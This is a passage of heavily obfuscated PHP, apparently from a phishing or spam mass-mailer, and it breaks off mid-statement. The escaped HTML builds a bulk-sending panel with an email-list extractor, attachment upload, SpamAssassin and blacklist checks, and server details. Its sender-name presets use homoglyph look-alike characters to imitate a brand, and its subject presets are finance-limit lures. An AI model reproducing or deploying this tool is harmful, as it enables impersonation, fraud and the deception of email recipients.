3\x3d\x22\x66\157\162\155\x2d\x67\x72\x6f\165\x70\x20\143\x6f\x6c\x2d\x6c\147\55\x36\x20\42\76\x3c\x6c\x61\142\145\x6c\40\x66\x6f\x72\75\x22\163\145\x6e\144\145\162\105\155\141\x69\154\42\x3e\105\155\141\x69\154\x3c\57\154\141\x62\145\154\x3e\x3c\x69\156\160\x75\164\x20\x74\x79\160\x65\x3d\x22\164\x65\170\164\x22\x20\143\154\x61\x73\163\75\x22\x66\157\x72\x6d\55\143\157\x6e\164\162\x6f\x6c\x20\x20\x69\156\x70\x75\164\55\x73\x6d\x20\42\x20\151\x64\x3d\42\x73\x65\x6e\x64\x65\x72\x45\155\x61\151\154\42\x20\156\141\x6d\x65\75\x22\163\x65\156\144\145\x72\x45\155\141\151\x6c\x22\x20\166\141\x6c\x75\145\75\x22" . $senderEmail . "\x22\76\x3c\x2f\x64\x69\x76\76\xa\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\x20\74\144\x69\x76\40\x63\x6c\x61\163\163\x3d\42\146\157\162\x6d\55\147\x72\x6f\x75\x70\x20\x63\157\x6c\55\154\147\55\x36\40\x22\76\x3c\154\x61\x62\145\154\x20\x66\157\162\75\x22\x73\x65\156\x64\x65\x72\x4e\141\155\x65\x22\76\x53\x65\x6e\144\145\x72\x20\x4e\x61\155\145\x3c\x2f\154\x61\x62\145\x6c\x3e\74\x69\156\160\x75\164\x20\x74\171\160\x65\75\42\164\x65\x78\x74\42\x20\x63\x6c\141\163\x73\75\x22\146\157\162\155\55\x63\x6f\156\x74\162\157\154\x20\x20\x69\156\160\x75\x74\55\x73\x6d\40\x22\x20\x69\x64\x3d\42\163\x65\x6e\144\145\162\116\x61\x6d\x65\42\40\156\141\155\145\75\x22\163\x65\x6e\x64\145\162\116\141\x6d\145\42\x20\166\x61\154\x75\145\x3d\42" . $senderName . "\x22\40\154\151\x73\x74\x3d\42\x66\162\157\155\42\x3e\x3c\144\x61\164\x61\x6c\151\163\x74\x20\x69\x64\75\42\x66\x72\157\155\x22\x3e\x3c\157\160\x74\x69\x6f\x6e\x20\x76\141\154\165\145\75\42\42\x3e\115\157\x64\x65\154\74\x2f\157\160\164\151\157\x6e\x3e\74\x6f\x70\164\151\x6f\x6e\x20\166\x61\x6c\x75\145\75\x22\320\x90\x72\xc9\xa1\316\277\xd1\225\42\76\x31\56\320\220\162\311\xa1\xce\277\xd1\x95\x3c\57\157\x70\164\151\157\x6e\76\x3c\157\x70\164\x69\157\x6e\x20\166\141\x6c\165\x65\x3d\42\320\x90\x72\311\241\xd0\276\xd1\225\x22\76\62\56\320\220\x72\311\xa1\xd0\276\xd1\x95\74\57\157\x70\164\151\157\156\x3e\x3c\x6f\x70\164\x69\x6f\156\40\166\x61\x6c\x75\145\75\x22\xd0\x90\162\xd6\x81\xce\xbf\321\x95\42\76\63\56\320\220\162\326\x81\xce\xbf\321\x95\x3c\57\x6f\x70\x74\151\x6f\156\76\x3c\157\160\164\x69\157\x6e\40\166\x61\x6c\x75\x65\75\x22\xd0\220\x72\326\201\xd0\276\321\225\x22\x3e\x34\56\xd0\220\162\xd6\201\xd0\xbe\321\225\74\x2f\x6f\x70\x74\151\x6f\156\x3e\x3c\157\x70\x74\151\157\156\x20\x76\141\x6c\165\145\75\x22\320\x90\162\xd6\201\326\x85\xd1\225\x22\76\x35\x2e\xd0\220\x72\xd6\201\326\x85\321\x95\74\x2f\x6f\160\164\x69\x6f\156\76\74\x6f\x70\x74\151\x6f\x6e\40\166\x61\154\x75\145\75\42\320\x90\162\xc9\241\xd6\x85\321\225\x22\76\66\x2e\xd0\x90\162\xc9\241\326\205\321\225\74\x2f\157\x70\x74\x69\x6f\156\76\74\x2f\x64\141\164\141\x6c\151\x73\164\x3e\x3c\x2f\144\x69\166\x3e\xa\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\x3c\57\x64\x69\166\76\xa\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\74\x64\x69\166\x20\x63\154\141\x73\x73\75\x22\162\157\167\42\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\74\x73\160\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\x66\157\x72\155\55\147\162\x6f\165\x70\x20\x63\157\x6c\55\154\x67\55\66\40\40\x22\76\74\154\x61\142\x65\x6c\x20\146\157\x72\75\42\141\x74\x74\x61\x63\x68\x6d\145\156\x74\42\76\x41\x74\164\x61\143\150\x6d\145\156\x74\40\x3c\x73\x6d\x61\154\154\76\50\115\x75\x6c\x74\151\x70\x6c\145\x20\x41\166\141\x69\x6c\141\142\154\145\x29\74\57\x73\x6d\x61\x6c\x6c\x3e\x3c\x2f\154\x61\142\x65\154\76\74\151\156\x70\x75\164\x20\x74\x79\160\145\75\42\x66\x69\x6c\145\x22\40\x6e\141\x6d\145\x3d\x22\x61\x74\x74\141\143\x68\x6d\x65\156\164\133\x5d\42\x20\151\x64\75\x22\x61\164\x74\141\143\x68\155\145\x6e\164\x5b\135\x22\40\x6d\x75\154\x74\x69\160\154\x65\x2f\x3e\74\57\163\x70\x61\156\x3e\12\12\40\40\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\74\144\151\166\x20\x63\x6c\141\163\163\x3d\x22\x66\157\162\x6d\55\147\162\157\x75\160\x20\143\x6f\154\55\154\x67\55\x36\x22\76\x3c\154\141\x62\x65\x6c\40\x66\157\x72\75\42\x72\145\160\154\171\124\157\42\x3e\122\x65\x70\154\171\x2d\x74\157\x3c\x2f\x6c\x61\142\145\x6c\x3e\74\x69\156\x70\165\x74\40\x74\171\x70\x65\75\42\x74\x65\170\x74\42\40\x63\154\x61\163\x73\75\x22\x66\157\162\155\55\143\157\x6e\x74\x72\157\x6c\x20\x20\151\x6e\x70\x75\164\x2d\x73\x6d\x20\x22\x20\x69\144\75\x22\x72\x65\160\x6c\x79\124\157\x22\x20\x6e\141\155\x65\x3d\42\x72\x65\160\154\171\124\x6f\x22\x20\x76\x61\154\x75\145\75\42" . $replyTo . "\x22\40\57\76\x3c\57\x64\x69\x76\x3e\12\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\74\x2f\x64\x69\x76\x3e\12\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\74\144\151\x76\x20\143\154\141\163\x73\75\42\x72\x6f\167\x22\x3e\xa\x20\40\40\x20\40\40\40\40\40\40\40\40\40\x20\40\x20\74\144\151\166\40\x63\x6c\x61\163\x73\75\x22\146\157\x72\155\55\147\x72\157\165\x70\x20\143\157\154\x2d\x6c\x67\55\61\62\x20\42\76\74\x6c\x61\142\x65\x6c\x20\146\x6f\x72\75\x22\163\x75\142\x6a\x65\x63\164\x22\76\x53\165\x62\x6a\145\143\x74\x3c\x2f\154\141\142\x65\154\76\74\x69\156\x70\x75\x74\40\x74\x79\x70\x65\x3d\x22\164\145\x78\x74\x22\40\x63\x6c\x61\163\x73\x3d\x22\x66\157\x72\155\55\143\157\x6e\164\162\157\x6c\x20\x20\x69\x6e\160\165\x74\x2d\x73\155\40\42\x20\151\144\75\42\163\165\142\x6a\145\143\x74\42\x20\156\141\x6d\x65\x3d\x22\x73\165\142\152\145\143\164\42\x20\x76\x61\154\x75\x65\x3d\x22" . $subject . "\42\40\154\151\163\164\x3d\42\163\165\x62\152\42\40\x2f\76\74\x64\x61\164\x61\x6c\151\163\164\40\x69\144\x3d\x22\x73\165\x62\x6a\x22\x3e\x3c\x6f\160\x74\151\x6f\x6e\x20\x76\x61\154\x75\145\75\42\x22\76\115\157\x64\x65\x6c\x3c\x2f\157\160\164\x69\x6f\156\x3e\74\x6f\160\164\151\157\156\x20\x76\x61\154\165\145\x3d\x22\x4c\x69\x6d\151\x74\40\x69\156\143\162\145\141\163\x65\x20\x23\101\122\x47\133\x2d\x72\x61\156\144\157\155\163\x74\x72\x69\x6e\147\61\x2d\135\x22\x3e\x4c\x69\155\x69\164\40\151\x6e\x63\x72\145\x61\x73\x65\x20\43\101\122\107\x5b\55\162\x61\156\144\157\155\163\164\162\151\156\147\61\x2d\x5d\x3c\57\157\x70\164\x69\x6f\156\76\x3c\157\160\164\151\x6f\x6e\x20\166\x61\x6c\165\145\75\x22\x49\x6e\143\x72\x65\x61\163\145\40\154\151\155\151\164\x20\43\101\122\107\x5b\x2d\x72\141\156\x64\157\155\163\164\x72\x69\x6e\x67\x31\x2d\x5d\x22\76\111\x6e\143\x72\145\x61\163\x65\40\x6c\151\x6d\x69\x74\x20\x23\101\122\107\133\x2d\162\x61\x6e\144\x6f\155\163\164\x72\x69\x6e\147\61\x2d\135\x3c\57\x6f\160\164\x69\x6f\156\x3e\x3c\157\160\164\151\x6f\x6e\x20\x76\x61\x6c\165\145\75\42\x4c\151\x6d\x69\x74\40\x23\101\122\107\x5b\x2d\x72\x61\156\144\x6f\x6d\x73\164\162\x69\x6e\x67\x31\x2d\135\42\76\x4c\151\155\x69\164\40\43\101\122\x47\133\x2d\162\x61\x6e\144\x6f\x6d\163\164\x72\151\156\147\61\55\x5d\74\57\157\x70\164\151\x6f\x6e\x3e\74\x6f\x70\164\151\x6f\156\40\166\x61\154\165\145\75\x22\116\x65\x77\x20\x4c\151\x6d\151\164\x20\x23\x41\122\107\133\55\x72\141\x6e\144\x6f\x6d\163\x74\x72\151\156\147\x31\55\x5d\x22\76\116\x65\x77\40\x4c\x69\155\x69\164\x20\x23\x41\x52\x47\133\x2d\162\x61\156\x64\157\x6d\x73\x74\162\x69\x6e\147\x31\55\135\74\x2f\x6f\x70\x74\151\157\x6e\76\74\157\x70\164\x69\157\x6e\40\x76\x61\154\165\x65\75\42\x41\x75\x74\x6f\155\x61\164\x69\143\x20\154\151\155\151\164\x20\x69\x6e\x63\x72\x65\141\x73\x65\40\x23\x41\122\107\133\55\162\141\156\144\157\155\163\x74\162\151\156\147\61\x2d\x5d\42\76\x41\165\x74\x6f\x6d\141\164\x69\x63\x20\x6c\151\x6d\x69\x74\40\x69\x6e\x63\162\x65\x61\163\x65\40\43\101\122\107\133\x2d\162\141\156\144\x6f\x6d\x73\x74\x72\x69\x6e\147\x31\55\x5d\74\57\157\160\164\x69\x6f\x6e\76\74\157\160\164\151\157\156\x20\x76\141\x6c\x75\x65\75\42\101\x75\x74\157\x6d\x61\x74\x69\x63\40\x6c\151\x6d\151\164\x20\151\156\x63\162\145\x61\163\x65\40\x2d\40\x50\162\x6f\143\x65\x73\163\x69\156\x67\40\43\101\122\x47\133\55\x72\141\156\x64\x6f\x6d\163\x74\162\x69\156\147\61\x2d\x5d\42\76\101\165\x74\x6f\155\x61\x74\151\143\40\x6c\x69\155\x69\x74\x20\x69\156\143\162\x65\x61\163\x65\40\x2d\40\x50\162\x6f\143\x65\163\163\151\x6e\147\40\x23\x41\122\x47\x5b\55\162\x61\x6e\144\157\155\163\164\162\x69\156\x67\x31\55\135\x3c\x2f\x6f\x70\164\151\x6f\156\76\74\x6f\x70\164\151\x6f\x6e\40\166\x61\x6c\165\x65\x3d\42\x41\165\164\157\x6d\x61\164\x69\143\x20\x6c\151\155\151\164\x20\x69\156\x63\x72\145\x61\163\x65\40\x7c\40\x59\x6f\165\162\40\106\x69\156\141\x6e\x63\x65\40\x6c\151\x6d\151\x74\x20\151\x73\x20\x63\x6f\156\x66\151\x72\x6d\x65\144\40\43\x41\122\107\133\55\162\141\156\144\x6f\155\163\x74\162\151\x6e\x67\61\55\135\x22\76\x41\x75\x74\x6f\x6d\141\164\151\143\x20\154\x69\x6d\151\164\40\151\x6e\x63\x72\145\x61\x73\145\40\174\40\x59\x6f\x75\162\x20\x46\x69\156\141\156\x63\145\x20\154\151\x6d\x69\x74\x20\151\163\40\143\157\x6e\146\151\162\155\145\x64\x20\x23\x41\122\107\x5b\x2d\162\141\156\144\x6f\155\x73\x74\x72\151\156\x67\x31\x2d\x5d\x3c\57\x6f\160\164\151\x6f\x6e\x3e\74\157\160\164\151\x6f\156\x20\x76\x61\154\165\x65\x3d\x22\101\x75\x74\x6f\x6d\141\x74\151\x63\40\154\x69\x6d\x69\x74\40\151\x6e\x63\x72\145\141\x73\145\40\x7c\40\x59\x6f\165\x72\40\106\x69\156\141\156\143\145\40\x6c\x69\x6d\151\164\40\x69\x73\x20\x63\157\156\146\x69\x72\x6d\145\x64\40\x2d\x20\120\x72\x6f\143\x65\x73\163\x69\x6e\147\x20\43\x41\122\107\133\x2d\x72\x61\156\144\x6f\155\163\x74\162\151\x6e\x67\61\x2d\135\x22\76\x41\165\164\x6f\x6d\141\164\151\143\x20\x6c\x69\155\151\164\x20\x69\x6e\x63\x72\145\x61\x73\145\40\174\40\x59\x6f\x75\x72\x20\106\151\x6e\x61\x6e\143\x65\x20\x6c\x69\x6d\151\164\x20\x69\163\x20\x63\157\x6e\146\x69\162\x6d\145\144\40\x2d\x20\x50\162\x6f\x63\x65\x73\x73\x69\x6e\x67\x20\x23\x41\x52\x47\133\55\162\141\156\144\x6f\155\163\164\x72\151\156\147\x31\55\135\74\57\157\x70\164\151\x6f\x6e\x3e\74\57\144\x61\x74\x61\x6c\x69\x73\x74\x3e\74\x2f\x64\x69\x76\x3e\12\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\74\57\144\151\166\76\12\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x3c\x64\x69\x76\40\143\x6c\x61\x73\163\75\42\162\157\x77\x22\76\xa\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x3c\x64\151\x76\x20\143\x6c\141\x73\163\75\x22\x66\157\162\155\55\147\x72\157\x75\x70\40\143\x6f\x6c\x2d\x6c\147\x2d\x36\x22\76\x3c\154\x61\142\145\x6c\x20\146\x6f\x72\75\42\155\x65\x73\x73\x61\147\x65\x4c\145\164\x74\145\162\x22\76\x4d\145\x73\163\x61\147\145\40\x4c\x65\x74\164\145\x72\x20\x3c\x62\165\x74\164\157\156\40\164\x79\x70\x65\75\x22\x73\x75\142\x6d\151\x74\x22\40\143\x6c\141\163\163\75\x22\142\x74\156\40\x62\164\156\x2d\144\145\146\x61\165\154\x74\40\x62\164\x6e\x2d\170\163\42\40\x66\x6f\x72\155\x3d\x22\x66\x6f\162\155\x22\40\156\x61\x6d\x65\x3d\42\x61\x63\x74\151\x6f\x6e\x22\x20\x76\x61\x6c\x75\145\x3d\x22\x76\x69\145\167\42\x20\x66\x6f\162\155\164\x61\x72\x67\145\164\75\x22\137\142\x6c\141\156\x6b\x22\x3e\x50\162\x65\x76\x69\145\x77\40\74\x2f\x62\165\x74\164\157\x6e\76\74\57\x6c\141\x62\x65\x6c\x3e\x3c\164\x65\170\x74\141\x72\145\141\x20\x6e\141\155\x65\75\42\155\x65\x73\x73\x61\147\145\x4c\x65\x74\164\x65\x72\42\x20\151\x64\75\42\x6d\145\163\163\x61\x67\145\x4c\x65\x74\x74\x65\162\x22\x20\143\154\x61\163\x73\75\x22\146\x6f\162\x6d\x2d\143\157\x6e\164\162\x6f\154\42\40\162\157\x77\163\x3d\42\61\60\42\x20\x69\x64\75\x22\x74\145\170\x74\101\162\x65\141\42\x3e" . $messageLetter . "\74\x2f\x74\x65\x78\164\x61\x72\145\x61\x3e\74\x2f\x64\151\x76\x3e\12\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x3c\x64\x69\166\x20\143\x6c\x61\x73\x73\75\x22\x66\157\x72\x6d\55\x67\x72\x6f\x75\x70\x20\143\157\x6c\55\x6c\x67\x2d\x36\40\42\76\x3c\x6c\141\142\145\154\40\x66\157\x72\x3d\x22\x65\155\x61\151\x6c\114\151\163\164\x22\76\x45\155\x61\151\x6c\40\114\x69\163\164\40\x3c\x61\x20\150\x72\x65\x66\75\42\x3f\x65\155\x61\x69\154\x66\151\x6c\x74\145\x72\x3d\x6f\x6e\x22\x20\x74\x61\x72\x67\145\164\x3d\x22\137\142\x6c\x61\x6e\153\42\40\143\x6c\x61\x73\163\x3d\42\142\164\156\x20\x62\164\x6e\x2d\x64\145\x66\141\x75\154\164\40\x62\164\x6e\55\170\163\42\76\x46\x69\154\x74\x65\x72\57\105\170\x74\x72\x61\143\x74\74\x2f\141\x3e\x3c\x2f\154\141\x62\145\154\x3e\x3c\164\145\x78\x74\x61\x72\x65\141\x20\156\x61\155\x65\x3d\42\x65\155\x61\151\x6c\x4c\151\163\164\x22\x20\151\144\75\x22\x65\155\141\151\154\114\x69\x73\x74\42\x20\x63\154\x61\163\163\x3d\42\146\157\162\x6d\55\143\x6f\156\164\x72\x6f\x6c\x22\40\162\157\167\x73\x3d\42\61\x30\x22\40\x69\x64\x3d\x22\x74\x65\x78\x74\x41\x72\x65\141\x22\76" . $emailList . "\x3c\x2f\164\x65\170\164\x61\x72\145\141\76\x3c\57\x64\151\166\x3e\12\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\x3c\x2f\x64\x69\x76\76\12\40\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x3c\144\151\166\x20\143\x6c\141\x73\x73\75\x22\162\157\x77\x22\x3e\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x3c\144\151\x76\40\143\x6c\141\163\163\x3d\x22\x66\157\162\x6d\55\147\162\157\165\160\x20\143\157\x6c\x2d\x6c\x67\x2d\x36\40\42\x3e\xa\40\40\x20\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\74\x6c\141\142\x65\154\40\146\x6f\x72\75\42\155\x65\x73\163\x61\147\x65\x54\x79\160\x65\42\x3e\115\x65\163\163\141\x67\145\x20\124\171\x70\x65\x3c\57\x6c\x61\142\x65\154\x3e\xa\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\110\124\115\114\40\x3c\x69\156\160\165\164\40\x74\x79\160\x65\x3d\42\162\x61\144\x69\x6f\42\40\x6e\141\x6d\x65\75\42\155\145\x73\163\141\x67\145\x54\x79\160\145\42\40\x69\x64\x3d\x22\155\145\x73\x73\x61\147\145\x54\x79\160\145\x22\x20\166\141\154\x75\x65\75\42\x31\42\40" . $html . "\x3e\xa\40\40\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\120\154\x61\151\x6e\74\x69\156\160\165\164\x20\164\171\160\145\x3d\42\162\141\x64\151\x6f\x22\x20\x6e\141\155\x65\75\42\x6d\x65\163\163\x61\x67\x65\124\x79\x70\145\42\40\151\x64\75\42\x6d\x65\x73\x73\x61\x67\x65\x54\171\160\145\x22\40\166\x61\154\165\x65\x3d\42\x32\42\40" . $plain . "\x3e\xa\40\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\x3c\57\144\x69\166\76\xa\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x3c\144\151\x76\x20\143\154\x61\x73\x73\75\x22\x66\157\x72\155\55\147\x72\157\165\160\40\x63\x6f\154\x2d\154\147\x2d\x33\40\42\76\12\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\74\154\141\142\x65\154\x20\x66\x6f\162\75\x22\143\150\x61\x72\x73\145\x74\x22\76\x43\150\x61\162\x61\x63\164\x65\x72\40\x73\x65\x74\x3c\57\154\141\142\x65\x6c\x3e\xa\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\40\74\163\145\154\145\143\164\40\x63\154\141\163\x73\75\42\146\157\162\x6d\55\143\157\156\x74\162\157\x6c\x20\x69\x6e\x70\x75\164\55\x73\155\42\x20\151\144\75\x22\x63\150\x61\162\x73\145\x74\x22\x20\x6e\141\155\x65\75\x22\143\150\x61\x72\x73\x65\164\x22\x3e\xa\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\x3c\x6f\x70\164\x69\157\x6e\x20" . $utf8 . "\76\x55\x54\x46\55\x38\74\57\x6f\160\x74\x69\x6f\156\76\xa\40\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x3c\157\x70\164\x69\x6f\x6e\x20" . $iso . "\x3e\x49\123\x4f\55\x38\70\x35\71\x2d\x31\x3c\57\157\x70\164\151\x6f\156\76\xa\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x3c\x2f\163\x65\x6c\x65\143\x74\76\xa\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\x3c\57\144\151\166\x3e\xa\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\74\144\x69\x76\x20\x63\x6c\141\x73\x73\x3d\x22\x66\157\162\155\x2d\147\162\157\x75\160\40\x63\x6f\154\x2d\x6c\x67\x2d\63\x20\42\x3e\12\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\74\154\x61\142\x65\x6c\x20\x66\157\x72\x3d\x22\145\156\x63\x6f\144\151\156\147\42\x3e\x4d\x65\x73\163\x61\x67\145\x20\x65\x6e\143\x6f\144\x69\x6e\147\74\57\x6c\x61\142\x65\154\76\12\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\74\163\145\154\145\143\164\40\143\154\141\x73\163\x3d\x22\146\x6f\162\155\55\x63\x6f\x6e\164\162\x6f\154\x20\151\156\x70\165\164\x2d\x73\155\x22\x20\x69\144\x3d\42\145\156\x63\157\144\145\x22\x20\156\x61\x6d\x65\x3d\42\x65\x6e\143\157\144\145\42\x3e\xa\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\74\x6f\x70\x74\x69\x6f\x6e\x20" . $bit8 . "\x3e\70\x62\x69\x74\x3c\x2f\x6f\x70\164\151\x6f\x6e\x3e\xa\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\x3c\157\x70\x74\151\x6f\x6e\x20" . $bit7 . "\76\x37\142\151\x74\74\x2f\157\160\x74\x69\x6f\x6e\76\xa\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\74\157\x70\x74\151\157\x6e\x20" . $binary . "\x3e\x62\151\x6e\141\162\171\74\57\157\160\164\x69\x6f\x6e\76\xa\40\40\40\40\40\40\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\x3c\x6f\160\x74\x69\157\x6e\x20" . $base64 . "\76\x62\x61\x73\145\x36\64\74\57\x6f\x70\164\x69\x6f\x6e\x3e\12\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\40\40\74\x6f\x70\164\x69\x6f\x6e\x20" . $quotedprintable . "\x3e\161\165\157\x74\x65\144\x2d\160\162\x69\156\164\141\x62\154\x65\x3c\x2f\x6f\x70\164\x69\x6f\156\76\xa\xa\x20\40\40\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\x20\40\40\74\57\163\x65\x6c\145\x63\x74\76\12\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\74\57\144\x69\166\x3e\12\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\x3c\57\x64\151\166\x3e\xa\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x3c\x62\165\x74\x74\157\x6e\x20\x74\171\160\145\x3d\x22\163\x75\x62\155\x69\x74\x22\x20\143\x6c\141\x73\x73\75\42\x62\x74\156\x20\x62\164\156\x2d\144\145\x66\141\165\x6c\x74\x20\142\x74\156\55\x73\x6d\x22\40\146\157\x72\155\75\x22\x66\157\x72\155\x22\40\156\141\155\145\x3d\x22\x61\143\164\x69\157\156\x22\40\x76\x61\154\x75\x65\75\42\163\145\156\144\42\x3e\x53\x45\x4e\104\x3c\x2f\142\x75\x74\x74\157\x6e\x3e\40\157\162\x20\74\141\x20\x68\x72\x65\146\x3d\x22\43\x22\40\x6f\156\143\154\151\x63\x6b\75\x22\144\x6f\x63\x75\155\145\x6e\x74\56\147\x65\164\x45\154\x65\x6d\145\156\164\x42\171\111\144\x28\47\x66\x6f\x72\x6d\47\x29\56\x73\x75\142\155\151\164\x28\51\73\x20\x72\145\164\x75\x72\x6e\x20\x66\141\x6c\x73\x65\73\42\76\143\x68\145\143\x6b\x20\x53\160\x61\x6d\x41\x73\x73\141\163\163\x69\x6e\x20\x53\143\x6f\x72\x65\74\x2f\x61\x3e\xa\x20\x20\40\12\x20\40\40\40\x20\x20\40\x20\74\x2f\x66\x6f\x72\x6d\76\12\x20\40\x20\40\x3c\x2f\x64\151\166\x3e\12\x20\40\40\x20\x3c\x64\x69\x76\40\143\154\x61\x73\x73\75\x22\143\x6f\x6c\55\x6c\147\55\x36\x22\76\74\x62\x72\76\12\x20\40\40\x20\40\40\40\x20\74\154\x61\142\145\154\40\x66\x6f\x72\75\42\167\145\x6c\154\42\76\111\x6e\163\x74\162\x75\143\164\x69\157\x6e\x3c\x2f\154\x61\x62\x65\154\x3e\12\x20\x20\40\40\x20\40\40\40\74\x64\151\x76\40\x69\x64\75\x22\167\145\154\154\42\40\x63\x6c\141\163\163\75\x22\x77\145\x6c\154\x20\x77\x65\154\x6c\42\76\12\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x3c\x68\x34\76\123\145\162\166\x65\x72\x20\111\x6e\x66\x6f\x72\x6d\x61\164\151\157\156\74\57\x68\64\76\12\x20\40\x20\x20\40\40\x20\40\40\40\x20\40\x3c\165\x6c\x3e\12\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x3c\154\x69\x3e\123\x65\x72\166\x65\x72\40\x49\120\x20\101\x64\x64\x72\145\163\163\x20\72\x20\74\142\x3e" . $_SERVER["\123\x45\x52\x56\x45\122\137\x41\x44\x44\x52"] . "\x20\74\x2f\142\x3e\x20\74\x61\x20\x68\162\x65\x66\75\x22\x3f\x63\150\x65\x63\x6b\137\151\x70\75" . $_SERVER["\x53\x45\x52\x56\105\122\x5f\x41\x44\x44\122"] . "\42\40\x74\x61\x72\x67\145\x74\75\x22\x5f\x62\154\x61\156\153\x22\x20\143\154\141\x73\x73\75\42\x6c\x61\x62\x65\154\x20\154\141\142\x65\154\x2d\x70\x72\151\155\x61\x72\171\x22\76\x43\x68\x65\143\x6b\40\102\154\141\143\x6b\x6c\x69\x73\x74\x20\x3c\x69\x20\143\x6c\141\x73\x73\x3d\42\147\x6c\x79\x70\x68\151\143\157\x6e\40\x67\154\x79\x70\150\x69\143\x6f\x6e\55\163\x65\141\x72\x63\x68\x22\76\x3c\x2f\x69\x3e\74\x2f\x61\76\x3c\x2f\154\x69\x3e\12\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x3c\154\x69\76\120\110\x50\x20\126\x65\x72\x73\151\x6f\x6e\x20\72\x20\74\142\76" . phpversion() . "\x3c\x2f\x62\76\x3c\x2f\154\x69\x3e\xa\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\xa\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x3c\57\165\154\x3e\12\x20\40\x20\40\x20\40\40\40\40\40\x20\40\x3c\x68\x34\x3e\x48\105\114\x50\74\57\150\x34\x3e\12\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x3c\165\154\x3e\12\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\74\x6c\151\x3e\133\x2d\145\x6d\141\x69\154\55\135\40\72\x20\74\142\x3e\x52\145\x63\151\x76\x65\162\x20\x45\155\141\x69\154\x3c\x2f\x62\76\40\x28\x65\155\141\151\x6c\x75\x73\145\x72\100\x65\x6d\141\x69\x6c\x64\157\x6d\x61\x69\156\56\x63\157\155\51\x3c\x2f\x6c\x69\x3e\xa\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\74\x75\x6c\x3e\12\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\74\154\x69\x3e\133\x2d\145\155\141\x69\x6c\x75\x73\x65\162\x2d\135\40\x3a\40\74\142\x3e\105\x6d\x61\151\x6c\40\125\163\145\x72\74\57\x62\x3e\40\x28\x65\x6d\x61\151\x6c\x75\163\x65\x72\51\x20\x3c\57\154\x69\x3e\12\40\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x20\x3c\154\151\x3e\x5b\55\x65\x6d\141\151\x6c\144\x6f\155\141\151\x6e\55\x5d\40\x3a\40\x3c\142\x3e\x45\x6d\141\x69\154\40\x55\163\x65\x72\x3c\57\x62\x3e\x20\50\145\x6d\141\x69\154\144\x6f\x6d\x61\151\156\x2e\143\x6f\155\51\x20\74\x2f\x6c\151\76\12\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\74\57\165\x6c\x3e\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\x3c\154\151\x3e\x5b\55\164\x69\x6d\x65\55\x5d\x20\x3a\x20\74\x62\x3e\x44\141\164\x65\x20\x61\x6e\x64\40\124\x69\x6d\145\x3c\x2f\x62\76\x20\x28" . date("\x6d\x2f\144\57\x59\x20\150\x3a\x69\x3a\x73\40\x61", time()) . 